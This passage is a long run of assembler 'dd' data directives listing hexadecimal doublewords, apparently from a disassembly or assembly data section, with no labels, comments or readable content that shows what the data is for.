0DA096827h, 20005D80h, 85A9DEBFh, 73C17009h, 1B04072Fh dd 9BD14Ch, 0C6DC6CA7h, 810C5B29h, 828E2805h, 6088E834h dd 7584017Ch, 7F633BB9h, 0F00444BFh, 0E91AF06Ch, 8058489Bh dd 83C9902Ch, 9A10C740h, 852BD738h, 0A2C4A40Eh, 0CF9E4300h dd 0A65C887Ch, 0C550069Bh, 407D6606h, 804CBA49h, 0BB882A80h dd 750B8781h, 28F48478h, 9DA73C87h, 0C2C19052h, 2480BA4h dd 930D87D8h, 0F589B0A8h, 98F02482h, 4CE812F8h, 0AC2183FCh dd 0C8F58101h, 0FCE6EA84h, 4847B4C4h, 0BD050457h, 321CE2h dd 0E617CFACh, 1448DA03h, 0ADA380C0h, 70711DB8h, 0B4F905F6h dd 0B414C729h, 0A700A014h, 0AA354C5h, 2988769h, 939AA1E0h dd 9440E883h, 4D24B33Ah, 203A647Fh, 0DBE2024Fh, 0DD1904B2h dd 94904C50h, 67B434FDh, 20B4C48h, 497EB5C0h, 33FB636Bh dd 6D214308h, 77AF5E00h, 0FFF23C01h, 33491Ah, 1D503100h dd 63DCCD43h, 0BCA1C00h, 0A2CEC27Bh, 0B9466015h, 8BA45B12h dd 33E39700h, 21DA7D06h, 0C7F4007Ah, 0D22E74C5h, 75EC8670h dd 793A5034h, 88DC0FEh, 42007EC1h, 20644148h, 0E5C58B15h dd 27050D4h, 0CFB63824h, 0A4407A52h, 0E9149A85h, 1DE0552Fh dd 0D340A692h, 0B5A0BB46h, 95E230C7h, 6CC88628h, 0A9AA4117h dd 0B9F28043h, 38A6F7h, 0F838DF8Ah, 7CB74D3Bh, 0F1C01A7Ah dd 0AF36A0CFh, 5A210009h, 46ECDE4h, 0CE041527h, 0C67E01B7h dd 1C026C95h, 206DB441h, 37CFE970h, 960B6C92h, 86B6DFC8h dd 930AD35h, 0A07ECB76h, 0B005F800h, 354C975Eh, 1A810C3Ch dd 3D458128h, 0AE96EFC4h, 0A6240BD3h, 21422826h, 0EFBC6A00h dd 86C22238h, 0C8D06E3h, 905E0FE7h, 5700DCA6h, 0DD9D7419h dd 41C033h, 0B392F71Eh, 9CEB820Ch, 80252800h, 949329C2h dd 0CAA50345h, 69B0416Eh, 3F1D112h, 198B5000h, 93E4C1B2h dd 0BAC2782Ch, 0F4C32604h, 0EC8529C9h, 30B7BC49h, 112A7DE4h dd 8869BB85h, 75728049h, 0AC53382Ah, 0B38CE000h, 5A54FE6h dd 0B6C7015Fh, 15FCB014h, 902867h, 23F17593h, 0A58B41BCh dd 80D1CE5Ch, 0E6FE735Eh, 0DB7800E7h, 9871FDC4h, 3C3762B0h dd 33906CF1h, 905CD0C2h, 3BA713F8h, 62F0D6B7h, 1400A02h dd 58D515C0h, 0FDBD28C8h, 38884DD4h, 83F58A80h, 448CA0F0h dd 8207AD81h, 0A8CA95F5h, 131A5A0h, 823C9142h, 541FC1F2h dd 5A0E7D02h, 910F3DDCh, 1CEE5707h, 3F740001h, 2A12A66Bh dd 3C088AADh, 0EFC6C083h, 0E346AE91h, 6C003C22h, 0D62AEFBEh dd 4AE40D25h, 758030DAh, 5528FC30h, 145FC049h, 6FD9DC40h dd 2CE7ECDDh, 214B81Dh, 633C60B0h, 848018C2h, 0BD929834h dd 97C21D3Fh, 0B4277D8Ch, 75837EF1h, 0F2410630h, 0BD840BC1h dd 0C8E85025h, 3703462Dh, 4DC7A38Eh, 4F3918F0h, 0B799213Dh dd 0FE48F500h, 0EE5F5A0Ch, 17A63C66h, 8EFF2D00h, 34E48A86h dd 3D906C17h, 5008B065h, 2A84C0BEh, 0A146BB8Ch, 791C4622h dd 92C12A7Ch, 3DD9F44Eh, 0B83B8440h, 3432802Bh, 684BEF4Eh dd 7CD0E68Dh, 0B803075Fh, 4008E5BDh, 758C6E43h, 0F0E11498h dd 80F51563h, 5FE12869h, 4CECA14Bh, 4C00C573h, 2BB19B4h dd 0BE051637h, 32BC21Eh, 4223F03Ah, 266DF900h, 4EA640Dh dd 8DA2405Ch, 0D4FCE450h, 691D2713h, 7DB21404h, 213E5046h dd 4FE03Bh, 35143BFDh, 1611CA71h, 9D050Fh, 0BF60540Eh dd 0A1649AC2h, 48C0C7F8h, 505C1F03h, 0C337FF3Bh, 33E4C818h dd 0E2BBF109h, 15C50A0h, 1FBE1066h, 282EEDF3h, 62E70BECh dd 0BA0C2091h, 0BAF6BF55h, 0F27E04E8h, 0F1467BE9h, 84582D90h dd 50B72EA7h, 58C38020h, 3D2941E5h, 5DA0AA81h, 16206090h dd 0F83134CEh, 2094A7B2h, 20E45349h, 60CBB784h, 4010AA5Bh dd 0EC15F24Eh, 7FC82E1Ah, 0A334F104h, 93809CEAh, 59B1F276h dd 90033073h, 3B8624B0h, 0F8ADD01Ch, 344EC052h, 0B70571F3h dd 28F62EFh, 42A08D88h, 4037D8A4h, 0C8D80486h, 9A5E00ACh dd 8055B50Ah, 9403E6CDh, 986366A1h, 8B43B8E4h, 7E0418AEh dd 1123713Ch, 626F5039h, 2037A688h, 8C927B1Bh, 4F855B08h dd 79FA8336h, 4C98EA1Ch, 0D779798h, 1980A096h, 0DFB7BC20h dd 40155AC2h, 23E4E680h, 622631C0h, 0C504F1D5h, 0FCC08E0Bh dd 1B52C4h, 11ADBD4Ch, 5ED81AA7h, 3AF08400h, 0AE2DE441h dd 53240020h, 44E77BAh, 94A43F2Ah, 0D019B1FBh, 1D1250CAh dd 341898D2h, 0B5B945ECh, 815A31E7h, 248E0E3Eh, 0F00EEC78h dd 0E00FA52Fh, 1461D2Eh, 4E3D386Dh, 0A4BABE04h, 7B4AC38h dd 67243188h, 0E5842360h, 26F11FDBh, 0C0301C66h, 9B40A098h dd 47704B9Ch, 0BE950307h, 0E22004A5h, 0F4C52BDh, 0A315B4F6h dd 0A705AA00h, 0A6F612BAh, 0FFC4B609h, 0EA285A4h, 0F0A81428h dd 30BB60A0h, 13C1BF97h, 0A620B6F8h, 4B50005h, 0BA5CE9Bh dd 9DEEE4A8h, 0BEE25A06h, 0D909812h, 3B2A101h, 0BAAD018h dd 96C09338h, 9F1B980Fh, 0B0286080h, 9708B9B3h, 9510D4E9h dd 0A078B261h, 31BAA9B6h, 59971598h, 0C253BC95h, 9D11150Ch dd 0A4007084h, 9C07A5E4h, 0A010C1B9h, 1809B688h, 2912BD9Bh dd 0CD072011h, 463575DBh, 4221E68Eh, 0C5020949h, 28884893h dd 25803E18h, 0A7151929h, 6633F82h, 0A9089E19h, 84F0E297h dd 0EA8F823h, 40C6A048h, 0D711EF80h, 38C1189Dh, 5A7FC4BCh dd 72105883h, 94F0574Bh, 0F40C06C8h, 7129C52Bh, 428239DEh dd 9987168Fh, 22114601h, 2FA99F8Bh, 0C78200A0h, 0C33A9CD1h dd 2A80A023h, 0C84C653Eh, 0E2181E1Dh, 0F206CB19h, 2EE24568h dd 8688A6EAh, 196A2164h, 7C42C80h, 467C11F1h, 0E2498A01h dd 3B3C40A0h, 9B6138C3h, 4C5B92A8h, 59A5B898h, 4A40078Ah dd 0E1226323h, 31185D40h, 0AE59D02Bh, 845B28D5h, 0E73F18C8h dd 0DE1440A2h, 1772A905h, 0DDC1C6A7h, 0C08635CFh, 511AC82Ch dd 3B875E3Dh, 3908B036h, 18BDE011h, 30D25974h, 0B9C29829h dd 0A0E8CCA0h, 14FC2FCh, 0E31451D7h, 51DA403h, 0C92548F1h dd 0B4DC1DFBh, 77FA03F1h, 301FD6ECh, 1872F785h, 944CA246h dd 4B5880DDh, 0A8278616h, 0EAC5E4C8h, 0C0FBB020h, 9F824B39h dd 7A6729D5h, 13862330h, 4E422818h, 0E854A14Ch, 828D3F18h dd 3AD5AD54h, 0A193A490h, 0C4F06F85h, 0B8666021h, 6F182421h dd 5CDE88D0h, 46C70CFFh dd 0D59E1F3Fh, 2623A1F1h, 3AA2284Ah, 1FF24E11h, 36A46784h dd 56113472h, 506B9E1Ah, 7E882E90h, 504B2BD4h, 88601028h dd 0A721D4C6h, 2255442Bh, 271535EEh, 4488C850h, 0AF116AF6h dd 0A12A8439h, 9ACC5CC8h, 20C8136Ch, 3F607212h, 0FC453468h dd 8160D048h, 2C89309Ah, 1D8C61A4h, 44C5C812h, 3349094h dd 1554338Bh, 14A8B21h, 0C8605E31h, 0BB0DCC63h, 311F3338h dd 0B0C2941Ah, 0C8112C52h, 184C2853h, 91610BC3h, 986C4C5Bh dd 264C2A10h, 2042B0DAh, 0C48B045h, 60B8986Ah, 8FEC111Fh dd 0E89174C1h, 38662A1Ch, 496DA868h, 99D445E0h, 143E1268h dd 88F7A4F7h, 21E48C81h, 1081141Eh, 9E01C5F2h, 6CAC60BDh dd 9C4CE17h, 0B4EF31Fh, 0EB3809Ah, 7B8FD97h, 1F21A814h dd 0A7BA41EEh, 0C4B4F03Ch, 0B36C0500h, 279801AAh, 14045CB6h dd 1B06F21Dh, 110F28BBh, 85B39B0Eh, 1CC0A502h, 0EB46C03h dd 27A805B5h, 1719AFh, 0BF980B24h, 0B7F012A7h, 0A305C478h dd 5E0DB3B9h, 41A0CCDh, 0E1EBC1FAh, 0B420A512h, 0B55E1C0Fh dd 184C14BAh, 341B8AA1h, 0C51305B0h, 24003133h, 0EAC604C8h dd 4B7F0C26h, 9E19BF74h, 11DD2517h, 574AB001h, 4C34A0AAh dd 9CAD17AEh, 0D2380F19h, 81787207h, 60D09377h, 4A03A814h dd 3BCE52F9h, 0F0D094C4h, 0BF9EFDh, 0FA7DA56h, 0E48F3943h dd 8187851Dh, 600068AEh, 0AEC04BA4h, 77461BCCh, 0C5C0190Dh dd 2F7BFC7Ch, 0A0B862F8h, 12C14080h, 0E9CC0530h, 0FDAB49A1h dd 58A9C2D3h, 0F65137BCh, 274F2C0h, 4D87CA0h, 6D233D76h dd 739FC7C6h, 1004FABDh, 0DAEF9CBCh, 0A68E4C6h, 5362BF72h dd 71E21FB8h, 9ADC8730h, 6381EDF8h, 775A2ACh, 0BFDFC3BCh dd 72104001h, 15F59CBDh, 31797899h, 8629E811h, 7E048CAEh dd 470C16CCh, 4581826Dh, 0C10EF8D9h, 0A8622348h, 0DC85027Eh dd 8A0AA03Ah, 0BE0038C4h, 96F52B82h, 0CEF10DFh, 0A0129771h dd 48A3A189h, 48D50912h, 4C5D2861h, 0CDB86422h, 6B2F59C1h dd 0D7F12091h, 0B0415FCCh, 6DDD0085h, 9AAD369h, 0C2012797h dd 0C4BE9B12h, 0A5E19D01h, 0E92C7866h, 0B49A0550h, 0C05487C0h dd 0D27B60F2h, 9B000DE8h, 3D4EA7E3h, 0A6410C1Ch, 32FE0060h dd 96392D2Ch, 4AC8AB2h, 0E872851Fh, 0D00C3414h, 0A0F20708h dd 94C8AAE2h, 0E9C5749Ch, 0A3082384h, 0C11A43E2h, 31F14274h dd 4988AC4Eh, 0AD09DD19h, 8E1FD05Ch, 0A221E164h, 3015794Fh dd 552449A2h, 63881051h, 733CB791h, 7C084646h, 70013B41h dd 2D0353DDh, 0B09CDBC4h, 0A463DD05h, 6C662B0Ch, 0A50208Ch dd 0C6D686E9h, 324811E4h, 24420949h, 91444843h, 121E1045h dd 20441F22h, 121A8921h, 481C241Bh, 2216911Dh, 19184417h dd 1349FC8Bh, 0D773FF80h, 770CEBE4h, 0C160DAD5h, 14089CA2h dd 0A0B684A0h, 54D40485h, 0E35080Bh, 43B1484Ch, 0A17E4723h dd 80E5D7BBh, 0A2139813h, 0E9FEAE07h, 0C0D1459Ch, 8ED09143h dd 74C878A1h, 9EF1F586h, 624742E0h, 0E99440B6h, 81B8BC41h dd 9FEB340h, 84F69E9Dh, 48A663A9h, 43FF4BFh, 56FEADFAh dd 7BF56088h, 0F011E1D9h, 747CEF75h, 5838A591h, 0B911A517h dd 5205ECE2h, 8E4B296h, 38A24F04h, 57FD0485h, 242058h dd 4194852Bh, 649C09B2h, 2112C430h, 0A548DF39h, 87565838h dd 0C4F4501h, 401E8583h, 0C1A0B6F0h, 0C73A3D18h, 94A2ECCDh dd 0A59F1314h, 0BE3E1Ch, 5E43AA1Ah, 0A4483CC8h, 74282F28h dd 0AB01E453h, 4C62C603h, 3985288Ch, 0E400D031h, 0B3825EEAh dd 0FABF87Dh, 1B384224h, 890F3360h, 2B3CDA50h, 1680D4C0h dd 89A68530h, 0F8E8CDA8h, 0C8460F30h, 0B08E52h, 4BF2F6D0h dd 146AD8FCh, 5C42A921h, 0A5979C00h, 0A7B24536h, 0A81F540Eh dd 93E163DBh, 163B90E6h, 0C8A60748h, 40534559h, 0FD247A40h dd 0D50DA9FEh, 702FE54Ch, 3E2CB7F0h, 0AD0CD615h, 0A088248Ch dd 20A4F60Ch, 1FCBB122h, 4055D78Bh, 561EBEC1h, 0C438A154h dd 0C248E0ECh, 160A02Bh, 3734578Ch, 0FD999245h, 3BB083ACh dd 9CF0C4h, 49DD8AF0h, 20A715FCh, 0C561FD60h, 956DAEh dd 7D4A1F91h, 425769F6h, 0BDDFEE00h, 0BE5B9F41h, 2B3E12D7h dd 0F000AB20h, 0ED1302B5h, 76433DE5h, 7990B380h, 0DD1CDF07h dd 0F371D600h, 8B68293Fh, 0F71000DCh, 5D1A296h, 200C794h dd 0CCB09760h, 1E8C8E35h, 40CA1FA5h, 7DAD16DDh, 0E9001AA7h dd 0E8F5109Dh, 7BA9B179h, 23A500B4h, 1AB375E5h, 0E37CDC9Ch dd 0C486B80Ch, 3B60804h, 0D179BA1Eh, 0C0A79635h, 0A988BBFFh dd 0B940A761h, 0BDF0E724h, 72AC14FEh, 39F40BFh, 77B0A7C2h dd 985AF6C0h, 0B83C21F8h, 60305388h, 0C38BAE98h, 81CA61Ah dd 0B48ABBFDh, 20D3DC00h, 0E8C288ADh, 5060A6AFh, 0AD368C5Bh dd 0C28BE004h, 8A07BC1Ah, 0CAA964C3h, 0B8E6AE42h, 23BF18h dd 24BE7DB8h, 6004C2E3h, 0C385EA0Ah, 0AEC12C35h, 0C440A586h dd 0F8640387h, 565FFA80h, 0F87B38BFh, 806D0111h, 76AE21C7h dd 1494D2B1h, 367A408Eh, 11FE8007h, 13639096h, 20DCA0BCh dd 1FF8A0E9h, 0F6843BEAh, 85505AA8h, 0A7C05504h, 0C704D9h dd 8E03DD99h, 7835E4ABh, 24DC871Dh, 1AC409BAh, 123481B0h dd 3586B7h, 0C111C3D0h, 0EA5B1028h, 83982480h, 0A5A8BF00h dd 0E919DCC8h, 40B64C75h, 0EA5A5063h, 0BF24E5D8h, 502033F1h dd 0B439806Ch, 0EC822423h, 74605035h, 0D0FEC6AAh, 4426091h dd 9A65F1BFh, 21F3020h, 0AF088AEh, 90C978EBh, 244026BCh dd 7B81586Dh, 0E51EC278h, 0F05F5460h, 0D030E3ACh, 61A53C87h dd 1CB19107h, 0AAC392B8h, 0A9F0C060h, 0C407A7B8h, 0B58BE455h dd 8C40104Dh, 17B1F151h, 0B75B019h, 7002EA47h, 0FC61E716h dd 0C0BCE058h, 9138A090h, 18E6BCA9h, 0A6601DC4h, 0C0AC901Eh dd 0BD75E758h, 88307B1Ah, 0B9BC40A8h, 6FE87420h, 717C8B1h dd 4C8AB453h, 0F07C8B30h, 0A1C7E878h, 0EBC0C375h, 0A18BF86h dd 5FBD7DE9h, 7D044898h, 7F8A556h, 8579EB20h, 0FED4D855h dd 78E3A70Bh, 0CA6031F0h, 2BC02E0h, 0EA55A58Fh, 0B84EC289h dd 829D1893h, 0F0091992h, 8A1C83A9h, 8B44AFBFh, 0BCADE880h dd 0C2AE7CB2h, 74E72030h, 8CC17CC3h, 86B6E0C2h, 6D22B114h dd 0BE044660h, 79CA65A0h, 0BC4B359h, 5B61FC5h, 0E49C1AB4h dd 0CBA4D55h, 9801138Bh, 60B725B5h, 21E91ADCh, 287CD3D8h dd 0C4B8242Ch, 551C0749h, 58EA09FCh, 0E452C48Bh, 2450329Fh dd 503BC0C8h, 20C4752Eh, 0AABFA507h, 69779D4Fh, 77C320C7h dd 0E4EAA2ACh, 0C38B2920h, 3C0F692Ch, 0E7248098h, 34C27D26h dd 0E9588518h, 20B305BCh, 0C1B58CB0h, 94FE866Ch, 0D218A680h dd 9AA85004h, 91FF38DAh, 12F8EA04h, 0F0CABF3Eh, 24F84B6h dd 1EB7ADB6h, 18877829h, 0C864C3D1h, 0B69905E7h, 3B88AD1Ah dd 0B805C068h, 2CAAA8A7h, 0BD878E7h, 64A7ACADh, 0B61A5175h dd 0B3185579h, 0F05044F8h, 95CAF61Dh, 86E8FA05h, 0A88320D0h dd 38AF5C1Eh, 0C3E31A13h, 0A9A0BA44h, 3C9EAD20h, 3AD4E649h dd 0A900935Bh, 1EB68A94h, 0BE1E8BE9h, 0C40BB822h, 0E28C8F07h dd 0E090B916h, 74AC9C90h, 82987CC9h, 1DB750C0h, 0B821B460h dd 0F623C484h, 4F1EE877h, 795049AEh, 0DC18C86Ch, 0E36825DFh dd 0E08F5CF4h, 52801628h, 0D3EC34C2h, 0C417EC96h, 340B50DDh dd 87AE21E0h, 0C8E090BEh, 0A078AD16h, 9D7BF0h, 997AFEE0h dd 86AE23C2h, 0B3A8F00Ch dd 0F792175h, 7DE9A9B8h, 0C8B0145Dh, 300E5527h, 10E0CC96h dd 8010014Eh, 0BF10D438h, 1606A73Eh, 0E8E388E9h, 146BA9F8h dd 0A160E328h, 1C2123C5h, 74E6DC00h, 202160A9h, 86E7ADA5h dd 914B13Ah, 0C21FBF75h, 54E0EEB8h, 78F4C435h, 278CA47Ah dd 0F83055FAh, 8A72B417h, 0D8D8CBF8h, 0A3C38788h, 8DA0A7DCh dd 749F5881h, 15E78BCh, 8E59828Ch, 0E198BDB5h, 0EF47E19Eh dd 0E5B08BBBh, 591E8DDBh, 45804299h, 5887EE9Fh, 6EB93E81h dd 8FB39D0Fh, 28F89E06h, 88EE981Bh, 42BAA018h, 4EBD1E84h dd 54703047h, 2E3ACEEBh, 2FD219AAh, 50FBFD08h, 0E9E2A30h dd 438742CBh, 5A8FEEA0h, 45F0BA9Bh, 884C8C6Dh, 0E84B8DF0h dd 568103B8h, 58BBBCCBh, 46C143A3h, 4B4EE080h, 871FA0F8h dd 8C189F54h, 58F9BE8h, 80B78345h, 4445047h, 0B448AFBFh dd 0B6428104h, 92DCC04Bh, 0B8008471h, 1266AA8Bh, 3D647CF9h dd 0FE00AC53h, 0E2E988D0h, 0EA11A209h, 6703DC04h, 0C1F189EFh dd 0C8C6E6E0h, 2C001AFAh, 389F6C8Ah, 25686Ah, 0B558F328h dd 0A3BBCEE1h, 0AC0B6E0Ch, 3B2E589Eh, 9D01F456h, 70062B3Dh dd 0A7A080A6h, 5DDB6827h, 6B7800A0h, 0D0F003B0h, 0B603F631h dd 6CEFADA6h, 0EB2002FAh, 0BE7A5642h, 8370209Eh, 3821158Ch dd 37F88EEh, 0EB5C4A24h, 417C069Fh, 0D009CB0h, 0F2A72394h dd 0CCAF2B2Ah, 6B218E08h, 8B0DBC2Eh, 0D8610E00h, 1D98E7E2h dd 586083A6h, 0EF55F025h, 20102364h, 68054F00h, 0BB621885h dd 0A02937F0h, 763177C8h, 0D902809h, 0B0482290h, 4DE45700h dd 0DDC72BF0h, 9FAA3A28h, 66759E02h, 0EC90F70Eh, 0E900483Fh dd 0C9E1B7C6h, 0ACB34E1Ah, 53DF401Ch, 5BEBF9C0h, 241FAD0h dd 3EA928E3h, 848496A5h, 0DB5609Ch, 0BF232395h, 6400B311h dd 0E9EF0DBDh, 7E0726C3h, 8F615CD2h, 369F976h, 0CF10BE94h dd 0C9E81B32h, 0D70012B5h, 0A4223955h, 0A1E71C27h, 98418CD4h dd 3980E2C3h, 674CABFh, 9D576E4Dh, 65A20098h, 0C6B6087h dd 48557D81h, 0D2A93426h, 49802F19h, 71BC0FA3h, 0EA0AA058h dd 1C729222h, 1206FCC4h, 28A199EAh, 0F881CD1h, 0F5467FECh dd 804B69E0h, 17146C40h, 3ED45E20h, 408E2A2h, 499CA0BBh dd 0F2ADCCFEh, 725B38B0h, 0EEC37480h, 20085F91h, 0CF283D0Dh dd 0E401D021h, 9011F187h, 888022D7h, 86A0205Ah, 1F72454h dd 145CF19Ch, 70528861h, 4018118h, 146C90DDh, 0FE6C0F71h dd 70B0EF7Fh, 36173FE8h, 34D85C93h, 36308CC9h, 8A3C2126h dd 673C3h, 144FAEE6h, 715A0E85h, 5BEE4906h, 0DF7086A8h dd 9FCE4490h, 0CBEC88C2h, 73EDA700h, 0A64A9A64h, 892666Ch dd 0AC0021F6h, 341DED9Fh, 146E26B9h, 0BC819436h, 5A5310h dd 2B3E1A54h, 0C6B9A8D9h, 41E5C3B1h, 95B3C500h, 0DF997EBEh dd 23BA3D51h, 0E0C0EF8Ah, 244389B0h, 584F8087h, 0BBB3BA83h dd 53B0189Dh, 0A857E91Eh, 94F82F28h, 0C44B8880h, 0B1CFE493h dd 0BA842043h, 2EB460C8h, 0CD032474h, 94EE80FCh, 9B57B5E5h dd 4FEF860Ch, 0C0E0086Bh, 0E59C8C21h, 0DD0029B1h, 76544113h dd 280B6694h, 15B8BD6Ch, 84E73C21h, 39D10418h, 36052B9Eh dd 78C08ABh, 3D89F400h, 32A8103Ah, 75A0FCCBh, 609CD484h dd 214CEDA4h, 0ADC0A264h, 1C44ED9Ch, 4020A59Ah, 0B9D5E867h dd 79C0D366h, 9ED9AFB0h, 3A871C26h, 40D7C08Ah, 0A97DCE54h dd 5FBB5014h, 94E00C0h, 0C05378C5h, 141C926Ch, 0D8EBACEFh dd 851FEA00h, 2A36BCAAh, 4E0E4092h, 20A72E73h, 0AFD2CF7Eh dd 5508CC66h, 7B016F21h, 0B876B92Eh, 0FADC74A0h, 23C8A001h dd 24A783C8h, 62E49403h, 98047184h, 48EDF067h, 4B434264h dd 0A11EF322h, 8040EDA0h, 8344E0E7h, 0A69C0BD0h, 68049E7Bh dd 54FA44E1h, 0AC94E888h, 0A3FF0980h, 1421C52Bh, 8C757B60h dd 31213618h, 887700BCh, 0C9B35BB7h, 0F5004D28h, 1B7D64A8h dd 0C02D56FAh, 0B44B8E29h, 5906F4B0h, 0D01FC904h, 3C1932FAh dd 3C0A7C58h, 95807511h, 9357B6E5h, 8DE3448Ch, 11E59D00h dd 0C27E922h, 0AECCA0DFh, 7F01857h, 0C342B8EBh, 0EEDEBE00h dd 92413954h, 0F8C91597h, 0B90CAC5Fh, 5551D07Ah, 0D66FD83Dh dd 1B506278h, 3BA900C0h, 0CF17DC09h, 1C0EEBC9h, 813EF064h dd 2182047Ah, 80B40C53h, 70856218h, 484DCB30h, 248F07B6h dd 111C2735h, 2E4D81BEh, 31D6A7A5h, 756D105Bh, 9E90032Eh dd 27FB5083h, 3B645042h, 0D9E854C3h, 6952EE00h, 946492A1h dd 0D1D0096Ch, 8083A39Fh, 304CD51Fh, 48C79DCh, 23900D88h dd 20B16287h, 5A0DB067h, 0B33D7E01h, 0FE4037A7h, 368BF886h dd 8300A95Ch, 0E655532Ah, 9C1F732h, 7FCA13ECh, 8815BF00h dd 19042B4Ah, 0B0E0D5B4h, 6C0F43C0h, 0A0E8B2F6h, 732A410Ch dd 2484B885h, 7C0C5C3Bh, 1600EA46h, 7DBD7ACDh, 4F241DFDh dd 60C0A863h, 3B87365Ch, 0F5A8E1B6h, 71A14688h, 238E0D08h dd 4EB2C497h, 0EC0DA761h, 15ACB400h, 0DF70149Eh, 0AEA2CC46h dd 311E206Ch, 4C2EFAFBh, 0B8EF4740h, 6480A1D5h, 0C08F34F0h dd 0E2B8E28h, 940C5E2Fh, 31243768h, 0AF300B5h, 881404C9h dd 4449173Bh, 23698038h, 8B2F9770h, 54F910E0h, 78118F00h dd 74059804h, 0F426F1B2h, 0E7E8F848h, 51D5058Ch, 0C23EB1A7h dd 7490AD58h, 3B64AA36h, 90607058h, 572489E5h, 0F873E8BBh dd 15A4E598h, 0B4BE046Dh, 8102083Fh, 0DA1F6716h, 8FD2E8C0h dd 602A2126h, 0D46B6440h, 2D78C18Dh, 49D64C37h, 82F061A8h dd 78959C18h, 0A9346887h, 941899E8h, 0F6E980A2h, 82E930h dd 0A9C3FEB1h, 3B7809C8h, 50D58700h, 703DAA1Eh, 8244833h dd 3665B9A1h, 0C0631038h, 43164FA0h, 95E0EB10h, 8B104048h dd 0E38C50F1h, 7BD95540h, 190093F9h, 0E6E778B9h, 0CFF0B007h dd 3FCDB660h, 7C057202h, 97F5CCEFh, 0BB1C0260h, 0CD376CC9h dd 0E46204D4h, 90C49007h, 0F2390006h, 10A86B85h, 910BE4C5h dd 18683F47h, 58DCAF88h, 2730688Dh, 2F60E0F1h, 9106E492h dd 0CF983F25h, 0C6660030h, 0F615D087h, 78143DA9h, 0A5984F4Bh dd 0C09ECC08h, 23970DB3h, 0B022AF46h, 0DBB6A09h, 3022898Ch dd 1252B978h, 4FB2E21h, 12A6E40Ch, 0B09CE00Eh, 0E224484Ch dd 7CE70BA0h, 6517C014h, 5C20D904h, 12BD8543h, 91DBE2h dd 29D85685h, 7A03E351h, 3881CA83h, 3A08857h, 0B840D5FBh dd 4B85558Fh, 8348BCCh, 4BC977D8h, 0E4CC5400h, 2713A41Eh dd 0B840E548h, 2F3FD507h, 0E9210084h, 0EC88AF3Dh, 6C93D39Ah dd 4D37BA38h, 1F8001Ch, 3F40E9A3h, 78F0361h, 4BDC3DF6h dd 7486E690h, 0B783A601h, 4E795487h, 102044C1h, 0AA848880h dd 8058B159h, 0A7A82E48h, 68008756h, 6F0B2E70h, 24C977E9h dd 0C02CB5EDh, 0E6F91388h, 37F28898h, 9B77D0Ah, 281DC8EAh dd 78B220h, 2F150135h, 0F2731E4Dh, 8987AB01h, 597F5153h dd 21170898h, 0F2006B44h, 0BEAB9778h, 0A03060h, 280CD2BCh dd 0F6831335h, 401407Ch, 504D9959h, 0FED032FDh, 0A74F0014h dd 0A1B86FC1h, 0B0331922h, 7430891h, 0C19F7121h, 5A27C33Eh dd 66C389D0h, 401B7900h, 20E624B6h, 9CCA0FFDh, 9561115Eh dd 803BD00Ch, 424FAB80h, 57156853h, 13C86885h, 148825C1h dd 1ABBE0C3h, 9EC0C742h, 0D80A26B4h, 0A77C0C00h, 9AC48190h dd 805F6010h, 67FEB772h, 0C0511730h, 596D2Fh, 5AD68AD8h dd 42CE3339h, 216708CCh dd 0D8510090h, 3D2170FBh, 24E21C8Bh, 6647EE05h, 0A3C179BCh dd 885736FEh, 3C2AB8D0h, 0B5F90790h, 6FEDE97Bh, 0FBAE583h dd 0CE58982Ch, 40B04F1Ah, 0D238FAB1h, 2FD88318h, 0D7D81863h dd 1050F293h, 17821056h, 806A1160h, 98BA1D19h, 1F61EC63h dd 197CFA3Eh, 20879675h, 90A05D06h, 7E78A690h, 134BE21Eh dd 820A5126h, 0FE06BCF2h, 3EE938FDh, 6D0060B8h, 0A525C247h dd 8300DAF7h, 4632DAAh, 3B82765h, 0A42F7EFFh, 410018E6h dd 5D108E34h, 1971AB9Eh, 8739602h, 5B218031h, 0D12E1086h dd 53CC2F41h, 1A074C54h, 1145ECA0h, 9A0C8020h, 14FA0A4Dh dd 648CD6C5h, 3E806464h, 0AC42D687h, 8D64448Ch, 81D84E38h dd 3E7CEEA3h, 302402D5h, 0E0D40164h, 0D89A87FEh, 0BA8C4060h dd 1464681Dh, 90984F78h, 6EC108A6h, 4CC499B8h, 0C19E7040h dd 0D73B922Bh, 2AF4001Ch, 4C57D968h, 5CBE49B3h, 0AB2F7F1Fh dd 10880794h, 627BA457h, 8055202Eh, 82040910h, 31C6D244h dd 0E8BFAC80h, 0ABE3102Eh, 0AA870646h, 2C15874h, 0EC98F70Dh dd 98801472h, 0B21E734Dh, 417F0A18h, 88FE30h, 0A0519D48h dd 1CCF05EFh, 108470D0h, 0BC005AACh, 44BE7BEAh, 0E801FD53h dd 0D281A58Ah, 208179B0h, 6515C12Fh, 4C204F82h, 62204245h dd 170F020h, 8AF80C3Eh, 0C8093680h, 0F4A3080h, 5CE5F965h dd 8F1369F6h, 5C5C61C7h, 0ECA0D218h, 49C67A1Ah, 976A1C01h dd 9BC82793h, 9FC95F0h, 50BA6525h, 0FBE8082h, 0ABFB503h dd 1EE7E074h, 0C02780B0h, 0AC974540h, 30B1F901h, 266B032Eh dd 80235832h, 0A6F26E01h, 19186187h, 663F88h, 38B1A1F2h dd 5847FD27h, 83DB0A06h, 11C069C2h, 255B224h, 48AA079Eh dd 8E88817Fh, 45DACE4Ch, 6032E4A4h, 0C6391Bh, 4D75C29h dd 7F6F43CCh, 0EB20D490h, 202C9031h, 14182EE6h, 2341A8FEh dd 0B81601EEh, 664BFA8Ch, 45C8E06Dh, 0DA5CDF08h, 0A2984CB3h dd 108C048Ch, 389B9E5Bh, 10843B59h, 54017487h, 30A0AF28h dd 0EAB8AA95h, 0B0298F28h, 4049FDFAh, 7FA209A0h, 5EB2006Eh dd 3BDB710h, 0B9F2A32Ah, 0EBC06695h, 40A0885Ch, 4626BA7Ah dd 5902A05Dh, 43F28Bh, 0D3C405CFh, 3C7458h, 534517D4h dd 28CC9E4Eh, 0F801D1Eh, 338D81A6h, 449A0D83h, 0E2BA8106h dd 7C982BB3h, 50993DC5h, 21301B98h, 6F8CE95h, 0BBD12306h dd 9703946h, 36D23E15h, 8C4002Ah, 0B8287D9Ch, 45186810h dd 72B4230Ah, 0BFCE80FCh, 24D25DCFh, 7622D490h, 990D1A0Fh dd 90A07141h, 532B4DCh, 74121D8h, 0CD8303ACh, 0AA1647Ah dd 0F30B3380h, 0E9E05140h, 97025800h, 6C681D50h, 60DC6449h dd 101EB049h, 7E8C2CACh, 0CAEF1004h, 9D071483h, 94CBBEB4h dd 8F5C0020h, 0B07BCD02h, 4801CC0Fh, 7084B590h, 9C203113h dd 6F048C81h, 6987A7F2h, 67004038h, 0BAF772F2h, 